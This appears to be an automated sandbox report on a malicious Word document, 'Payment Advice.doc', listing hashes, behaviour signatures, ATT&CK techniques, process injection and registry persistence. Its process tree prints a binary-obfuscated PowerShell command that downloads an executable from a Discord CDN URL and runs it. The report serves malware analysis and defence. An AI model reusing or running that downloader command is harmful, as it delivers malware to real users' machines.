9c5912424f920b71a98b0ac032cb3e74ca830dd0c9e9e2d406f4b9ff1f53af80

General

Target

Payment Advice.doc
Size

217KB
MD5

a1bb900ae8003b924f333442c4117a84
SHA1

126cd9e2de926ade2cdb20fb8d2a059b7786fde6
SHA256

9c5912424f920b71a98b0ac032cb3e74ca830dd0c9e9e2d406f4b9ff1f53af80
SHA512

c7dbbc07793a59b038f5376b345aeb9c967f339b36e9242043207a66bc27a6b3046f7d143a61d48ae4ef9423efcff6919d30cfb86e736f16aa74dcf81c812f5e

Score

10^/10

persistence

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	564	1820	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 564 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

winint.exe

pid process

296 winint.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exe

pid process

564 powershell.exe
564 powershell.exe

flow	pid	process
7	564	powershell.exe

pid	process
296	winint.exe

pid	process
564	powershell.exe
564	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

winint.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Kajscxo = "C:\\Users\\Public\\Libraries\\oxcsjaK.url"	winint.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1540 300 WerFault.exe dialer.exe
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	pid_target	process	target process
1540	300	WerFault.exe	dialer.exe

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1820 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exeWerFault.exe

pid process

564 powershell.exe
564 powershell.exe
1540 WerFault.exe
1540 WerFault.exe
1540 WerFault.exe
1540 WerFault.exe
1540 WerFault.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 564 powershell.exe
Token: SeDebugPrivilege 1540 WerFault.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

WINWORD.EXE

pid process

1820 WINWORD.EXE
1820 WINWORD.EXE
1820 WINWORD.EXE

pid	process
1820	WINWORD.EXE

pid	process
564	powershell.exe
564	powershell.exe
1540	WerFault.exe
1540	WerFault.exe
1540	WerFault.exe
1540	WerFault.exe
1540	WerFault.exe

description	pid	process
Token: SeDebugPrivilege	564	powershell.exe
Token: SeDebugPrivilege	1540	WerFault.exe

pid	process
1820	WINWORD.EXE
1820	WINWORD.EXE
1820	WINWORD.EXE

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

WINWORD.EXEpowershell.exewinint.exedialer.exe

description	pid	process	target process
PID 1820 wrote to memory of 564	1820	WINWORD.EXE	powershell.exe
PID 1820 wrote to memory of 564	1820	WINWORD.EXE	powershell.exe
PID 1820 wrote to memory of 564	1820	WINWORD.EXE	powershell.exe
PID 1820 wrote to memory of 564	1820	WINWORD.EXE	powershell.exe
PID 564 wrote to memory of 296	564	powershell.exe	winint.exe
PID 564 wrote to memory of 296	564	powershell.exe	winint.exe
PID 564 wrote to memory of 296	564	powershell.exe	winint.exe
PID 564 wrote to memory of 296	564	powershell.exe	winint.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 296 wrote to memory of 300	296	winint.exe	dialer.exe
PID 300 wrote to memory of 1540	300	dialer.exe	WerFault.exe
PID 300 wrote to memory of 1540	300	dialer.exe	WerFault.exe
PID 300 wrote to memory of 1540	300	dialer.exe	WerFault.exe
PID 300 wrote to memory of 1540	300	dialer.exe	WerFault.exe
PID 1820 wrote to memory of 1380	1820	WINWORD.EXE	splwow64.exe
PID 1820 wrote to memory of 1380	1820	WINWORD.EXE	splwow64.exe
PID 1820 wrote to memory of 1380	1820	WINWORD.EXE	splwow64.exe
PID 1820 wrote to memory of 1380	1820	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payment Advice.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1820

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v78df0=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,01110011,00111010,00101111,00101111,01100011,01100100,01101110,00101110,01100100,01101001,01110011,01100011,01101111,01110010,01100100,01100001,01110000,01110000,00101110,01100011,01101111,01101101,00101111,01100001,01110100,01110100,01100001,01100011,01101000,01101101,01100101,01101110,01110100,01110011,00101111,00111000,00110101,00110110,00111001,00110010,00110101,00111001,00110101,00110010,00110000,00110000,00110100,00110000,00110110,00110011,00110010,00110100,00110010,00101111,00111000,00110110,00110101,00110010,00110111,00110100,00110010,00110000,00110010,00110011,00110111,00111000,00110110,00110000,00110000,00110100,00110100,00111001,00101111,01010011,01100101,01100011,01110101,01110010,01100101,01000101,01000110,01010100,01001110,01101111,01110100,01101001,01100011,01100101,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100111,00100111,01011100,01110111,01101001,01101110,01101001,01101110,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101001,00100111,00111011,00100100,01010100,01000011,00111101,01001001,01000101,01011000,00100000,00101000,00100100,01110111,01100101,00110010,00110010,00101100,00100100,01100010,00110100,01100100,01100110,00101100,00100100,01100011,00110011,00100000,00101101,01001010,01101111,01101001,01101110,00100000,00100111,00100111,00101001,00111011,01110011,01110100,01100001,01110010,01110100,00101101,01110000,01110010,01101111,01100011,01100101,01110011,01110011,00101000,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100000,00100111,01011100,01110111,01101001,01101110,01101001,01101110,01110100,00101110,01100101,01111000,01100101,00100111,00101001) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };[system.String]::Join('', $v78df0)|IEX
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:564

C:\Users\Admin\AppData\Local\Temp\winint.exe
"C:\Users\Admin\AppData\Local\Temp\winint.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:296

C:\Windows\SysWOW64\dialer.exe
C:\Windows\System32\dialer.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 300 -s 148
5⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1380

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\winint.exe
MD5
36f250cb265a9ea1e50697c0def52aa8

SHA1
ab1b5c8c68b77b4ab53cfed9ee5f2c192a29f5a3

SHA256
eb92966bcd8187376efd77e3ce4d830b8ae81de436f23a604c218beac3554514

SHA512
ef70fa852f3a4abc6bae263fb423be14e246739814471d7ddbcc588e30f5345910490a49f2a396e4da24c70427d103934a4502e7dea9dec9dc370d8315bc9c56

Download Submit
C:\Users\Admin\AppData\Local\Temp\winint.exe
MD5
36f250cb265a9ea1e50697c0def52aa8

SHA1
ab1b5c8c68b77b4ab53cfed9ee5f2c192a29f5a3

SHA256
eb92966bcd8187376efd77e3ce4d830b8ae81de436f23a604c218beac3554514

SHA512
ef70fa852f3a4abc6bae263fb423be14e246739814471d7ddbcc588e30f5345910490a49f2a396e4da24c70427d103934a4502e7dea9dec9dc370d8315bc9c56

Download Submit
\Users\Admin\AppData\Local\Temp\winint.exe
MD5
36f250cb265a9ea1e50697c0def52aa8

SHA1
ab1b5c8c68b77b4ab53cfed9ee5f2c192a29f5a3

SHA256
eb92966bcd8187376efd77e3ce4d830b8ae81de436f23a604c218beac3554514

SHA512
ef70fa852f3a4abc6bae263fb423be14e246739814471d7ddbcc588e30f5345910490a49f2a396e4da24c70427d103934a4502e7dea9dec9dc370d8315bc9c56

Download Submit
\Users\Admin\AppData\Local\Temp\winint.exe
MD5
36f250cb265a9ea1e50697c0def52aa8

SHA1
ab1b5c8c68b77b4ab53cfed9ee5f2c192a29f5a3

SHA256
eb92966bcd8187376efd77e3ce4d830b8ae81de436f23a604c218beac3554514

SHA512
ef70fa852f3a4abc6bae263fb423be14e246739814471d7ddbcc588e30f5345910490a49f2a396e4da24c70427d103934a4502e7dea9dec9dc370d8315bc9c56

Download Submit
memory/296-94-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/296-91-0x0000000000000000-mapping.dmp

Download
memory/300-103-0x0000000000150000-0x0000000000151000-memory.dmp

Filesize
4KB

Download
memory/300-104-0x0000000010590000-0x000000001060D000-memory.dmp

Filesize
500KB

Download
memory/300-101-0x0000000000080000-0x0000000000081000-memory.dmp

Filesize
4KB

Download
memory/300-102-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/300-97-0x0000000000000000-mapping.dmp

Download
memory/564-88-0x00000000066F0000-0x00000000066F1000-memory.dmp

Filesize
4KB

Download
memory/564-66-0x00000000047C0000-0x00000000047C1000-memory.dmp

Filesize
4KB

Download
memory/564-79-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/564-80-0x0000000006460000-0x0000000006461000-memory.dmp

Filesize
4KB

Download
memory/564-87-0x0000000006300000-0x0000000006301000-memory.dmp

Filesize
4KB

Download
memory/564-63-0x0000000000000000-mapping.dmp

Download
memory/564-73-0x0000000005730000-0x0000000005731000-memory.dmp

Filesize
4KB

Download
memory/564-70-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/564-69-0x0000000004750000-0x0000000004751000-memory.dmp

Filesize
4KB

Download
memory/564-68-0x0000000000A32000-0x0000000000A33000-memory.dmp

Filesize
4KB

Download
memory/564-67-0x0000000000A30000-0x0000000000A31000-memory.dmp

Filesize
4KB

Download
memory/564-78-0x0000000006180000-0x0000000006181000-memory.dmp

Filesize
4KB

Download
memory/564-65-0x0000000000B40000-0x0000000000B41000-memory.dmp

Filesize
4KB

Download
memory/1380-106-0x0000000000000000-mapping.dmp

Download
memory/1380-107-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmp

Filesize
8KB

Download
memory/1540-99-0x0000000000000000-mapping.dmp

Download
memory/1540-105-0x0000000002300000-0x0000000002301000-memory.dmp

Filesize
4KB

Download
memory/1820-59-0x00000000729D1000-0x00000000729D4000-memory.dmp

Filesize
12KB

Download
memory/1820-62-0x0000000076641000-0x0000000076643000-memory.dmp

Filesize
8KB

Download
memory/1820-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1820-60-0x0000000070451000-0x0000000070453000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads